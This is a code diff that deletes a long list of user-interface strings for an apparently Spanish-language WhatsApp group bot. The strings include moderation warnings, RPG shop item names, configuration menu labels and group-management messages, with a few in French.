-const smsEnlaceWat = () => { return `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-
-//_antilink2.js
-const smsEnlaceWatt = () => { return `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝙌𝙐𝙀 𝘾𝙊𝙉𝙏𝙄𝙀𝙉𝙀 𝙃𝙏𝙏𝙋𝙎 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-
-//_antispam.js
-const smsNoSpam = () => { return `🤨 NO HAGAS SPAM, NO PODRÁ USAR A ${global.packname} POR ${60000 / 1000 - 59} MINUTO`}
-
-//_antispam_.js
-const smsNoSpam2 = () => { return `FUE DESBANEADO DESPUÉS DE ${60000 / 1000 - 59} MINUTO. POR FAVOR NO HAGA SPAM!!`}
-
-//Texto
-const smsConMenu = () => { return `☘️ 𝗠 𝗘 𝗡 𝗨`} //🟡 NO CAMBIAR
-
-//Error
-const smsMalError = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`OCURRIÓ UN ERROR INESPERADO.\`\`\``}
-const smsMalError2 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`SURGIÓ UN INCONVENIENTE. INTENTE DE NUEVO.\`\`\``}
-const smsMalError3 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`ALGO SALIÓ MAL, REPORTE ESTE COMANDO USANDO:\`\`\`\n`}
-
-//_antitoxic.js
-const smsToxic1 = () => { return `𝙉𝙊𝙊!!! 🤬 𝘿𝙀𝘾𝙄𝙍 𝙀𝙎𝙏𝘼 𝙋𝘼𝙇𝘼𝘽𝙍𝘼`}
-const smsToxic2 = () => { return `𝙀𝙎𝙏𝘼 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝘼 𝙉𝙊 𝙎𝙀𝘼𝙎 𝙏𝙊𝙓𝙄𝘾𝙊(𝘼)`}
-const smsToxic3 = () => { return `*ADVERTENCIA*\n⚠️`}
-const smsToxic4 = () => { return `😭 𝙇𝙊 𝙎𝙄𝙀𝙉𝙏𝙊`} //🟡 NO CAMBIAR
-const smsToxic5 = () => { return `☢️ 𝘿𝙀𝙎𝘼𝘾𝙏𝙄𝙑𝘼𝙍 𝘼𝙉𝙏𝙄𝙏𝙊𝙓𝙄𝘾`} //🟡 NO CAMBIAR
-const smsToxic6 = () => { return `𝙏𝙀 𝙇𝙊 𝘼𝘿𝙑𝙀𝙍𝙏𝙄𝘿 𝙑𝘼𝙍𝙄𝘼𝙎 𝙑𝙀𝘾𝙀𝙎!!`}
-const smsToxic7 = () => { return `𝙎𝙐𝙋𝙀𝙍𝘼𝙎𝙏𝙀 𝙇𝘼𝙎 4 𝘼𝘿𝙑𝙀𝙍𝙏𝙀𝙉𝘾𝙄𝘼𝙎 𝘼𝙃𝙊𝙍𝘼 𝙎𝙀𝙍𝘼𝙎 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝙊(𝘼) 🙄`}
-
-//Tienda
-const eExp = () => { return '⚡ Experiencia' }
-const eDiamante = () => { return '💎 Diamante' }
-const eDiamantePlus = () => { return '💎+ Diamante+' }
-const eToken = () => { return '🪙 Token' }
-const eEsmeralda = () => { return '💚 Esmeralda' }
-const eJoya = () => { return '♦️ Joya' }
-const eMagia = () => { return '🌀 Magia' }
-const eOro = () => { return '👑 Oro' }
-const eGataCoins = () => { return '🐱 GataCoins' }
-const eGataTickers = () => { return '🎫 Gata Tickers' }
-const eEnergia = () => { return '✨ Energía' }
-const ePocion = () => { return '🥤 Poción' }
-const eAgua = () => { return '💧 Agua' }
-const eBasura = () => { return '🗑 Basura' }
-const eMadera = () => { return '🪵 Madera' }
-const eRoca = () => { return '🪨 Roca' }
-const ePiedra = () => { return '🥌 Piedra' }
-const eCuerda = () => { return '🕸️ Cuerda' }
-const eHierro = () => { return '⛓️ Hierro' }
-const eCarbon = () => { return '⚱️ Carbón' }
-const eBotella = () => { return '🍶 Botella' }
-const eLata = () => { return '🥫 Lata' }
-const eCarton = () => { return '🪧 Cartón' }
-const eEletric = () => { return '💡 Electricidad' }
-const eBarraOro = () => { return '〽️ Barra de Oro' }
-const eOroComun = () => { return '🧭 Oro Común' }
-const eZorroG = () => { return '🦊🌫️ Zorro Grande' }
-const eBasuraG = () => { return '🗑🌫️ Super Basura' }
-const eLoboG = () => { return '🐺🌫️ Super Lobo' }
-const eMaderaG = () => { return '🛷🌫️ Super Madera' }
-const eEspada = () => { return '⚔️ Espada' }
-const eCarnada = () => { return '🪱 Carnada' }
-const eBillete = () => { return '💵 Billetes' }
-const ePinata = () => { return '🪅 Piñata' }
-const eGancho = () => { return '🪝 Gancho' }
-const eCanaPescar = () => { return '🎣 Caña de Pescar' }
-const eCComun = () => { return '📦 Caja Común' }
-const ePComun = () => { return '🥡 Caja Poco Común' }
-const eCMistica = () => { return '🗳️ Caja Mítica' }
-const eCMascota = () => { return '📫 Caja de Mascotas' }
-const eCJardineria = () => { return '💐 Caja de Jardinería' }
-const eClegendaria = () => { return '🎁 Caja Legendaria' }
-const eUva = () => { return '🍇 Uva' }
-const eManzana = () => { return '🍎 Manzana' }
-const eNaranja = () => { return '🍊 Naranja' }
-const eMango = () => { return '🥭 Mango' }
-const ePlatano = () => { return '🍌 Platano' }
-const eSUva = () => { return '🌾🍇 Semillas de uva' }
-const eSManzana = () => { return '🌾🍎 Semillas de manzana' }
-const eSNaranja = () => { return '🌾🍊 Semillas de naranja' }
-const eSMango = () => { return '🌾🥭 Semillas de Mango' }
-const eSPlatano = () => { return '🌾🍌 Semillas de plátano' }
-const eCentauro = () => { return '🐐 Centauro' }
-const eAve = () => { return '🦅 Ave' }
-const eGato = () => { return '🐈 Gato' }
-const eDragon = () => { return '🐉 Dragón' }
-const eZorro = () => { return '🦊 Zorro' }
-const eCaballo = () => { return '🐎 Caballo' }
-const eFenix = () => { return '🕊️ Fénix' }
-const eLobo = () => { return '🐺 Lobo' }
-const ePerro = () => { return '🐶 Perro' }
-const eAMascots = () => { return '🍖 Alimento para Mascota' }
-const eCCentauro = () => { return '🐐🥩 Comida de Centauro' }
-const eCAve = () => { return '🦅🥩 Comida de Ave' }
-const eCMagica = () => { return '🌀🥩 Comida Mágica' }
-const eCDragon = () => { return '🐉🥩 Comida de Dragón' }
-const eACaballo = () => { return '🐎🥩 Alimentos Para Caballo' }
-const eCFenix = () => { return '🕊️🥩 Comida de Fénix' }
-//config-on y off.js
-const smsWel1 = () => { return `🎉 BIENVENIDA`}
-const smsWel2 = () => { return `Mensaje de Bienvenida para nuevos Miembros en Grupos`}
-const smsDete1 = () => { return `🔔 AVISOS`}
-const smsDete2 = () => { return `Avisos de acciones dentro del Grupo`}
-const smsANivel1 = () => { return `🆙 NIVEL AUTOMÁTICO`}
-const smsANivel2 = () => { return `Sube de nivel a todos de manera automática; (Aplica recompensas por subir de Nivel)`}
-const smsRestri1 = () => { return `⛔ RESTRINGIR`}
-const smsRestri2 = () => { return `Habilitar función para agregar o eliminar personas en Grupos`}
-const smsLlamar1 = () => { return `🚫 ANTI LLAMADAS`}
-const smsLlamar2 = () => { return `Bloquea a Personas que hagan llamadas`}
-const smsAntiSp1 = () => { return `🚯 ANTI SPAM`}
-const smsAntiSp2 = () => { return `Banear el Uso de Comados cuando alguien realice algún tipo de Spam`}
-const smsModP1 = () => { return `🌐 MODO PÚBLICO`}
-const smsModP2 = () => { return `Habilitar función para que todos puedan usar GataBot`}
-const smsModAd1 = () => { return `🛂 MODO ADMIN`}
-const smsModAd2 = () => { return `Solo los Admins podrán usar GataBot en Grupos`}
-const smsLect1 = () => { return `✅ LECTURA AUTOMÁTICA`}
-const smsLect2 = () => { return `Dejar los mensajes o chats como Leídos`}
-const smsTempo1 = () => { return `🐈 BOT TEMPORAL`}
-const smsTempo2 = () => { return `Función que permite estadía temporalmente en Grupos`}
-const smsStik1 = () => { return `🎠 STICKERS`}
-const smsStik2 = () => { return `Habilitar el envio automático de Stickers a todos`}
-const smsStickA1 = () => { return `🪄 STICKERS AUTOMÁTICOS`}
-const smsStickA2 = () => { return `Los vídeos, Gif, imágenes, enlaces jpg o jpeg; Se convertirán en Stickers Automáticamente`}
-const smsReacc1 = () => { return `🤡 REACCIÓN `}
-const smsReacc2 = () => { return `Habilitar el envio automático de Reacciones a mensajes`}
-const smsAudi1 = () => { return `🔊 AUDIOS`}
-const smsAudi2 = () => { return `Habilitar el envio automático de Audios a todos`}
-const smsModHor1 = () => { return `🔞 MODO HORNY`}
-const smsModHor2 = () => { return `Mostrar contenido para Adulto en los Chats`}
-const smsAntitoc1 = () => { return `☢️ ANTI TÓXICOS`}
-const smsAntitoc2 = () => { return `Enviar Advertencias aquellas personas que insulten`}
-const smsModOb1 = () => { return `👀 MODO OBSERVAR`}
-const smsModOb2 = () => { return `Permitir que las imágenes, Gif y Vídeos se puedan ver para todos`}
-const smsAntiEli1 = () => { return `🗑️ ANTI ELIMINAR`}
-const smsAntiEli2 = () => { return `Todo mensaje eliminado será reenviado al Chat o Grupo`}
-const smsAntiInt1 = () => { return `🌏 ANTI INTERNACIONAL`}
-const smsAntiInt2 = () => { return `Eliminar Números internacionales considerados falsos`}
-const smsAntiE1 = () => { return `🔗 ANTI ENLACES`}
-const smsAntiE2 = () => { return `Eliminar Personas que envíen enlaces de Grupos de WhatsApp`}
-const smsAntiEE1 = () => { return `🔗 ANTI ENLACES 2`}
-const smsAntiEE2 = () => { return `Eliminar Personas que envíen enlaces que contengan https`}
-const smsAntiTT1 = () => { return `🔗 ANTI TIKTOK`}
-const smsAntiTT2 = () => { return `Eliminar Personas que envíen enlaces de TikTok`}
-const smsAntiYT1 = () => { return `🔗 ANTI YOUTUBE`}
-const smsAntiYT2 = () => { return `Eliminar Personas que envíen enlaces de YouTube`}
-const smsAntiTEL1 = () => { return `🔗 ANTI TELEGRAM`}
-const smsAntiTEL2 = () => { return `Eliminar Personas que envíen enlaces de Telegram`}
-const smsAntiFB1 = () => { return `🔗 ANTI FACEBOOK`}
-const smsAntiFB2 = () => { return `Eliminar Personas que envíen enlaces de Facebbok`}
-const smsAntiIG1 = () => { return `🔗 ANTI INSTAGRAM`}
-const smsAntiIG2 = () => { return `Eliminar Personas que envíen enlaces de Instagram`}
-const smsAntiTW1 = () => { return `🔗 ANTI TWITTER `}
-const smsAntiTW2 = () => { return `Eliminar Personas que envíen enlaces de Twitter`}
-const smsSOLOP1 = () => { return `⚜️ SOLO PRIVADOS`}
-const smsSOLOP2 = () => { return `Permitir que solo se use en Chats Privados`}
-const smsSOLOG1 = () => { return `⚜️ SOLO GRUPOS`}
-const smsSOLOG2 = () => { return `Permitir que solo se use en Chats Grupales`}
-const smsConfi1 = () => { return `AJUSTES`}
-const smsConfi2 = () => { return `*¡Hola!*`}
-const smsConfi3 = () => { return `┃ *Seleccione una opción de la lista*`}
-const smsConfi4 = () => { return `┃ *Para empezar a Configurar*`}
-const smsConfi5 = () => { return `┃● *Avisos de la Configuracion:*`}
-const smsConfi6 = () => { return `┃ ✅ ⇢ *Función Activada*`}
-const smsConfi7 = () => { return `┃ ❌ ⇢ *Función Desactivada*`}
-const smsConfi8 = () => { return `┃ ⚠️ ⇢ *Este Chat no es un Grupo*`}
-const smsConfi9 = () => { return `┃ *Recomendación: Para ver la configuración*\n┃ *Completa use este Menú en Grupo*\n┃`}
-const smsConfi10 = () => { return `*~ CENTRO DE CONFIGURACIÓN*`}
-const smsParaAdmins = () => { return `PARA ADMINS Y CREADOR(A) : GRUPOS`}
-const smsParaAdYOw = () => { return `PARA ADMINS Y CREADOR(A) : CHATS`}
-const smsParaOw = () => { return `PARA CREADOR(A) : CHATS`}
-const smsNoGg = () => { return ` | ⚠️`}
-const smsMens1 = () => { return `COMANDO`}
-const smsMens2 = () => { return `ACTUALMENTE`}
-const smsMens3 = () => { return `EN ESTE`}
-const smsMens4 = () => { return `BOT`}
-const smsMens5 = () => { return `CHAT`}
-
-//Error2
-const smsMensError1 = () => { return `❕ REPORTAR COMANDO ❕`}
-const smsMensError2 = () => { return `Está Fallando el siguiente comando`}
-
-//_antiviewonce.js
-const smsAntiView = () => { return `*𝙈𝘼𝙎𝙏𝙀𝙍 𝙔𝙊 𝙇𝙊 𝙑𝙀𝙊 𝙏𝙊𝘿𝙊 𝘼𝙌𝙐Í* 😎`}
-
-//_autolevelup.js
-const smsAutoLv1 = () => { return `🎖️ NUEVO NIVEL 🎖️`}
-const smsAutoLv2 = () => { return `NIVEL ANTERIOR:`}
-const smsAutoLv3 = () => { return `NIVEL ACTUAL:`}
-const smsAutoLv4 = () => { return `RANGO:`}
-const smsAutoLv5 = () => { return `FECHA:`}
-const smsAutoLv6 = () => { return `Has alcanzado un Nuevo Nivel!!!`}
-const smsAutoLv7 = () => { return `🥳 RECOMPENSA POR SU NUEVO NIVEL`}
-
-//_autosticker.js
-const smsAutoStik = () => { return `${lenguajeGB['smsAvisoFG']()}*EL VÍDEO NO DEBE DE DURAR MÁS DE 7 SEGUNDOS.*`}
-
-//_expired.js
-const smsBottem1 = () => { return `*SE VA DEL GRUPO!!! 🤝 SI QUIERE QUE VUELVA, USE EL COMANDO _#bottemporal_ PARA QUE VUELVA AL GRUPO!!*`}
-const smsBottem2 = () => { return `*💕 ASISTENCIA PARA USUARIOS*\n*_${global.ig}_*\n`}
-const smsBottem3 = () => { return `HASTA PRONTO 💖`}
-
-//_premium.js
-const smsPremI = () => { return `*¡SE ACABÓ TÚ TIEMPO PREMIUM!* 🎟️\n*PARA OBTENER UN NUEVO PASE PREMIUM USE EL COMANDO:*\n*#pase premium*`}
-
-//afk-_afk.js
-const smsAfkM1 = () => { return `${lenguajeGB['smsAvisoEG']()}*DEJASTE DE ESTAR INACTIVO AFK*`}
-const smsAfkM2 = () => { return `*EL MOTIVO DE INACTIVIDAD ERA:*`}
-const smsAfkM3 = () => { return `*TIEMPO INACTIVO:*`}
-const smsAfkM4 = () => { return `${lenguajeGB['smsAvisoAG']()}*NO ETIQUETES A ESTE(A) USUARIO(A)!! ESTÁ INACTIVO(A)*`}
-const smsAfkM5 = () => { return `*MOTIVO DE LA INACTIVIDAD AFK:*`}
-const smsAfkM6 = () => { return `*MOTIVO DE LA INACTIVIDAD AFK: NO ESPECIFICÓ MOTIVO DE INACTIVIDAD*`}
-
-//afk-afk.js
-const smsAfkM1A = () => { return `${lenguajeGB['smsAvisoAG']()}*NO ETIQUETEN A*`}
-const smsAfkM1B = () => { return `*ESTARÁ INACTIVO(A) AFK*\n\n*MOTIVO DE LA INACTIVIDAD AFK*`}
-
-//anonymous_chat.js
-const smsChatAn1 = () => { return `${lenguajeGB['smsAvisoFG']()}*NO ESTÁS EN CHAT ANÓNIMO*`}
-const smsChatAn2 = () => { return `*SI QUIERES INICIAR UN CHAT ANÓNIMO USA EL COMANDO #start O USAR EL BOTÓN DE ABAJO*\n`}
-const smsChatAn3 = () => { return `⚡ INICIAR CHAT ANÓNIMO`}
-const smsChatAn4 = () => { return `${lenguajeGB['smsAvisoRG']()}🪐 *USTED SE FUE DEL CHAT ANÓNIMO*`}
-const smsChatAn5 = () => { return `${lenguajeGB['smsAvisoAG']()}*EL OTRO USUARIO SALIÓ DEL CHAT ANÓNIMO*`}
-const smsChatAn6 = () => { return `*SI QUIERES IR A OTRO CHAT ANÓNIMO USA EL COMANDO #start O USAR EL BOTÓN DE ABAJO*\n`}
-const smsChatAn7 = () => { return `${lenguajeGB['smsAvisoAG']()}*TODAVÍA ESTÁS EN UN CHAT ANÓNIMO O EN ESPERA A QUE ALGUIEN SE UNA PARA CHATEAR*`}
-const smsChatAn8 = () => { return `*SI QUIERES SALIR DEL CHAT ANÓNIMO USE EL COMANDO #leave O PUEDES USAR EL BOTÓN DE ABAJO*\n`}
-const smsChatAn9 = () => { return `🍁 SALIR DEL CHAT ANÓNIMO`}
-const smsChatAn10 = () => { return `${lenguajeGB['smsAvisoEG']()}✨ *YA PUEDEN CHATEAR*`}
-const smsChatAn11 = () => { return `*ALGUIEN SE HA UNIDO AL CHAT ANÓNIMO!!*`}
-const smsChatAn12 = () => { return `❇️ OTRO(A) USUARIO(A)`}
-const smsChatAn13 = () => { return `${lenguajeGB['smsAvisoRG']()}🐈 *ESPERANDO A QUE ALGUIEN SE UNA AL CHAT ANÓNIMO, TENGA PACIENCIA POR FAVOR*`}
-
-//Botones de Menú
-const smsBotonM1 = () => { return `⚡ MENÚ DE INICIO ⚡`}
-const smsBotonM2 = () => { return `💫 MENÚ COMPLETO 💫`}
-const smsBotonM3 = () => { return `🎒 INVENTARIO 🎒`}
-const smsBotonM4 = () => { return `USUARIOS`}
-const smsBotonM5 = () => { return `RANGO`}
-const smsBotonM6 = () => { return `NIVEL`}
-const smsBotonM7 = () => { return `PREMIUM`}
-const smsTex1 = () => { return '*MENÚ DE BUSQUEDA*'}
-const smsTex2 = () => { return '*MODIFICADOR DE AUDIO*'}
-const smsTex3 = () => { return '*MENÚ +18*'}
-const smsTex4 = () => { return '*CONTENIDO DINÁMICO*'}
-const smsTex5 = () => { return '*BUSCAR Y DESCARGAR*'}
-const smsTex6 = () => { return '*MENÚ +18 PREMIUM*'}
-const smsTex7 = () => { return '⠇ *Imágenes +18 de calidad y variedad*\n⠇ *Vídeos +18 solo para ti*\n⠇ *Stickers +18 disponibles*'}
-const smsTex8 = () => { return '*MENÚ CONVERTIDOR*'}
-const smsTex9 = () => { return '*MENÚ DE DESCARGAS*'}
-const smsTex10 = () => { return '*MENU JUEGOS DINÁMICOS*'}
-const smsTex11 = () => { return '*MENU PARA GRUPOS*'}
-const smsTex12 = () => { return '*MENU DE HERRAMIENTAS*'}
-const smsTex13 = () => { return '*MENU DE INFORMACIÓN*'}
-const smsTex14 = () => { return '*MENU DE EFECTOS Y LOGOS*'}
-const smsTex15 = () => { return '*MENU DE LOGOS 2*'}
-const smsTex16 = () => { return 'MENU DE AUDIOS'}
-const smsTex17 = () => { return '*NO ES NECESARIO USAR PREFIJO EN AUDIOS*'}
-const smsTex18 = () => { return 'LISTA DE AUDIOS'}
-const smsTex19 = () => { return '*PUEDE SELECCIONAR EL AUDIO!!*'}
-const smsTex20 = () => { return '*MENU PARA PROPIETARIO(A)*'}
-const smsTex21 = () => { return '*MENU RPG*'}
-const smsTex22 = () => { return '*MENU DE STICKERS Y FILTROS*'}
-const smsTex23 = () => { return '*MENU DE MEMES Y ANIMES RANDOMS*'}
-
-//ad
-const smsMalused = () => { return '⚡ *USAR EL COMANDO DE ESTA FORMA:*\n'}
-const smsMalused2 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *DEBE DE USAR EL COMANDO COMO EN ESTE EJEMPLO:*\n`}
-const smsMalused3 = () => { return `${lenguajeGB['smsAvisoMG']()}🐈 *DEBE DE USAR EL COMANDO O RESPONDER AL MENSAJE DE ALGUIEN COMO EN ESTE EJEMPLO:*\n`}
-
-//gc-config_time.js
-const smsGrupoTime1 = () => { return '🔓 *_ABRIR GRUPO EN UNA HORA_*'}
-const smsGrupoTime2 = () => { return '🔒 *_CERRAR GRUPO EN UNA HORA_*'}
-const smsGrupoTime3 = () => { return '*GRUPO'}
-const smsGrupoTime4 = () => { return 'CERRADO'}
-const smsGrupoTime5 = () => { return 'ABIERTO'}
-const smsGrupoTime6 = () => { return '*DURANTE'}
-const smsGrupoTime7 = () => { return '🔒 *EL GRUPO ESTA CERRADO, SOLO ADMINS PUEDEN ENVIAR MENSAJES*'}
-const smsGrupoTime8 = () => { return '🔓 *EL GRUPO ESTA ABIERTO, TODOS PUEDEN ENVIAR MENSAJES*'}
-const smsGrupoTime9 = () => { return '🔓 ABRIR GRUPO DURANTE '}
-const smsGrupoTime10 = () => { return '🔒 CERRAR GRUPO DURANTE '}
-const smsGrupoTime11 = () => { return ' HORA'}
-const smsGrupoTime12 = () => { return 'PERMITIR QUE EL GRUPO SE HABRA POR '}
-const smsGrupoTime13 = () => { return 'PERMITIR QUE EL GRUPO SE CIERRE POR '}
-
-//grupo-add.js
-const smsAddB1 = () => { return `${lenguajeGB['smsAvisoFG']()}*NO SE PUEDE AGREGAR EL NÚMERO, VERFIQUE QUE SEA CORRECTO, TAL VEZ SALIÓ RECIENTEMENTE O SU PRIVACIDAD ESTA CONFIGURADA.*`}
-const smsAddB2 = () => { return `${lenguajeGB['smsAvisoFG']()}*NO SE PUEDE AGREGAR EL NÚMERO, VERFIQUE QUE SEA CORRECTO, O AGRÉGELO MANUALMENTE.*`}
-
-//grupo-admins.js
-const smsAddB3 = () => { return `*NOTIFICACIÓN PARA ADMINS*`}
-const smsAddB4 = () => { return `*PRESENCIA DE ADMINS*`}
-const smsAddB5 = () => { return `*MENSAJE:*`}
-const smsAddB6 = () => { return `Solicito a los Admins por favor.`}
-
-//grupo-advertencia.js
-const smsAdveu1 = () => { return `${lenguajeGB['smsAvisoAG']()}*SOLO PUEDE USAR SI ESTÁ ACTIVADA LA FUNCIÓN:*\n`}
-const smsAdveu2 = () => { return 'Motivo'}
-const smsAdveu3 = () => { return `${lenguajeGB['smsAvisoMG']()}*RECUERDE ESCRIBIR EL MOTIVO DE LA ADVERTENCIA*\n`}
-const smsAdveu4 = () => { return '*RECIBIÓ UNA ADVERTENCIA EN ESTE GRUPO!!*'}
-const smsAdveu5 = () => { return 'ADVERTENCIA'}
-const smsAdveu6 = () => { return '🎒 INVENTARIO'}
-const smsAdveu7 = () => { return '*TE LO ADVERTI VARIAS VECES!!*'}
-const smsAdveu8 = () => { return '*AHORA SERÁS ELIMINADO(A)* 🙄'}
-const smsAdveu9 = () => { return '😇 MUCHAS GRACIAS'}
-const smsAdveu10 = () => { return '*SE LE ELIMINÓ UNA ADVERTENCIA EN ESTE GRUPO!!*'}
-const smsAdveu11 = () => { return 'Antes:'}
-const smsAdveu12 = () => { return 'Ahora:'}
-
-//grupo-demote.js || grupo-promote.js
-const smsDemott = () => { return '*EL NÚMERO NO ES VÁLIDO, VUELVA INTENTAR RESPONDA AL MENSAJE DE ALGUIEN O USE COMO EN ESTE EJEMPLO:*\n'}
-const smsDemott2 = () => { return '*AHORA TIENE PODER EN EL GRUPO!!*'}
-const smsDemott3 = () => { return '*YA NO TIENE PODER EN EL GRUPO!!*'}
-
-//grupo-info.js
-const smsGI1 = () => { return '*INFORMACIÓN DEL GRUPO*'}
-const smsGI2 = () => { return '*ID DEL GRUPO*'}
-const smsGI3 = () => { return '*NOMBRE DEL GRUPO*'}
-const smsGI4 = () => { return '*DESCRIPCIÓN DEL GRUPO*'}
-const smsGI5 = () => { return '*NO HAY DESCRIPCIÓN*'}
-const smsGI6 = () => { return '*NÚMERO DE USUARIOS*'}
-const smsGI7 = () => { return '*Usuarios*'}
-const smsGI8 = () => { return '*CREADOR(A) DEL GRUPO*'}
-const smsGI9 = () => { return '*ADMINS DEL GRUPO*'}
-const smsGI10 = () => { return '⚙️ CONFIGUARACIONES DEL GRUPO'}
-
-//grupo-kick.js
-const smskick1 = () => { return `${lenguajeGB['smsAvisoAG']()}*ETIQUETE A LA PERSONA O RESPONDA AL MENSAJE DE LA PERSONA QUE QUIERE ELIMINAR*\n\n*EJEMPLO: `}
-const smskick2 = () => { return `ELIMINADO(A) 😼🫵`}
-const smskick3 = () => { return `NO PUEDO ELIMINAR AL CREADOR DEL GRUPO 😆🫵`}
-const smskick4 = () => { return `NO ESTÁ EN ESTE GRUPO 👻`}
-
-//grupo-tagall.js
-const smstagaa = () => { return `⚡ INVOCANDO AL GRUPO ⚡`}
-
-//grupo-setbye.js
-const smsSetB = () => { return `${lenguajeGB['smsAvisoEG']()}*LA DESPEDIDA DEL GRUPO HA SIDO CONFIGURADA*`}
-const smsSetB2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_ESCRIBA EL MENSAJE DE DESPEDIDA_*\n*_OPCIONAL PUEDE USAR LO QUE ESTA CON "@" PARA AGREGAR MÁS INFORMACIÓN:_*\n\n*⚡ @user (Mención al usuario(a))*\n\n*RECUERDE QUE EL "@" ES OPCIONAL*`}
-
-//grupo-setwelcome.js
-const smsSetW = () => { return `${lenguajeGB['smsAvisoEG']()}*LA BIENVENIDA DEL GRUPO HA SIDO CONFIGURADA*`}
-const smsSetW2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_ESCRIBA EL MENSAJE DE BIENVENIDA_*\n*_OPCIONAL PUEDE USAR LO QUE ESTA CON "@" PARA AGREGAR MÁS INFORMACIÓN:_*\n\n*⚡ @user (Mención al usuario(a))*\n*⚡ @subject (Nombre de grupo)*\n*⚡ @desc (Description de grupo)*\n\n*RECUERDE QUE LOS "@" SON OPCIONALES*`}
-
-//grupo-setdesc.js
-const smsDest = () => { return `${lenguajeGB['smsAvisoEG']()}*LA DESCRIPCIÓN DEL GRUPO HA SIDO CONFIGURADA*`}
-
-//grupo-setname.js
-const smsNam1 = () => { return `${lenguajeGB['smsAvisoEG']()}*EL NOMBRE DEL GRUPO HA SIDO CONFIGURADO*`}
-const smsNam2 = () => { return `${lenguajeGB['smsAvisoMG']()}*🙌 ESCRIBA EL NUEVO NOMBRE DEL GRUPO*`}
-const smsNam3 = () => { return `${lenguajeGB['smsAvisoFG']()}*EL NOMBRE DEL GRUPO NO DEBE DE TENER MÁS DE 25 CARACTERES*`}
-
-//grupo-restaurarEnlace.js
-const smsRestGp = () => { return `${lenguajeGB['smsAvisoEG']()}*EL ENLACE DEL GRUPO HA SIDO RESTABLECIDO*`}
-
-//Botón
-const smsSig = () => { return `➡️ SIGUIENTE ➡️`}
-const smsSigPrem = () => { return `❤️🔥 SIGUIENTE ❤️🔥`}
-const smsCont18Porn = () => { return `🔞 *CONTENIDO* 🔞`} //texto
-const smsCont18Porn2 = () => { return `🔞 CONTENIDO 🔞`} //texto
-const smsCont18PornP = () => { return `🌟 *CONTENIDO ❤️🔥 PREMIUM* 🌟`} //texto
-const smsCont18PornP2 = () => { return `CONTENIDO ❤️🔥 PREMIUM`} //texto
-
-//propietario(a).js
-const smsBCMensaje = (usedPrefix, command) => { return `*Répondre au message ou écrire le message utilisé ${usedPrefix + command}*`}
-const smsBCMensaje2 = () => { return `*Envoyé un message officiel, attendez un moment...*`}
-const smsBCMensaje3 = (totalPri, time) => { return `✅ Le message a été envoyé ${totalPri} aux chats\n\n*Temps d expédition total privés: ${time}*\n${totalPri >= 3000 ? '\n*Ils nont pas été envoyés à tous les chats pour éviter la saturation*' : ''}`}
-
-//propietario(a).js
-const smsBCbot1 = () => { return `✅ *message:*`}
-const smsBCbot2 = () => { return `Privé`}
-const smsBCbot3 = () => { return `Grappe `}
-const smsBCbot4 = () => { return `Total`}
-const smsBCbot5 = () => { return `Temps d expédition total :`}
-const smsBCbot6 = () => { return `Ils n'ont pas été envoyés à tous les chats pour éviter la saturation`}
-const smsBCbot7 = () => { return `✅ * Déclaration officielle* ✅`}
-
- //propietario(a).js
-const smsChatGP1 = () => { return "*Envoyé un message, attendez un moment...*"}
-const smsChatGP2 = (readMS, dia, mes, año, fecha, tiempo) => { return `✅ *déclaration officielle* ✅\n${readMS}\n\`\`\`${dia}, ${mes} ${año}\`\`\`\n\`\`\`${fecha} || ${tiempo}\`\`\`\n\n`}
-const smsChatGP3 = (totalGP) => { return `✅ * Le message a été envoyé aux ${totalGP} groupes*`}
-
-//jadibot-serbot.js
-const smsIniJadi = () => { return `*⊹ • • • ミ★ ${global.packname} ミ★• • • ⊹*\n\n*ღ Versión de ${global.packname} » _${global.vs}_*\n*ღ Versión de JadiBot » _${global.vsJB}_*\n\n🟢 *_FUNCIÓN SER SUB BOT_* 🟢\n\n*➡️ Con otro celular o en la PC escanea este QR para convertirte en Sub Bot*\n\n*1️⃣ Diríjase en los tres puntos en la esquina superior derecha*\n*2️⃣ Ir a la opción Dispositivos vinculados*\n*3️⃣ Escanee este codigo QR para iniciar sesión*\n\n📢 *¡Este código QR expira en 45 segundos!*`}
-const smsSoloOwnerJB = () => { return `${lenguajeGB['smsAvisoAG']()}*ESTE COMANDO ESTÁ DESACTIVADO POR MÍ PROPIETARIO(A)*`}
-const smsJBPrincipal = () => { return `${lenguajeGB['smsAvisoAG']()}🔵 *PARA SER SUB BOT DIRÍJASE AL NÚMERO PRINCIPAL*\n*ღ Ingrese al siguiente enlace:*\n`}
-const smsJBConexion = () => { return `${lenguajeGB['smsAvisoFG']()}🟡 *LA CONEXIÓN SE HA CERRADO DE MANERA INESPERADA, INTENTAREMOS RECONECTAR...*`}
-const smsJBConexionClose = () => { return `${lenguajeGB['smsAvisoFG']()}🔴 *LA CONEXIÓN SE HA CERRADO, DEBERÁ DE CONECTARSE MANUALMENTE USANDO EL COMANDO #serbot Y REESCANEAR EL NUEVO CÓDIGO QR*`}
-const smsJBConexionTrue = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *CONEXIÓN CON ÉXITO!!!*`}
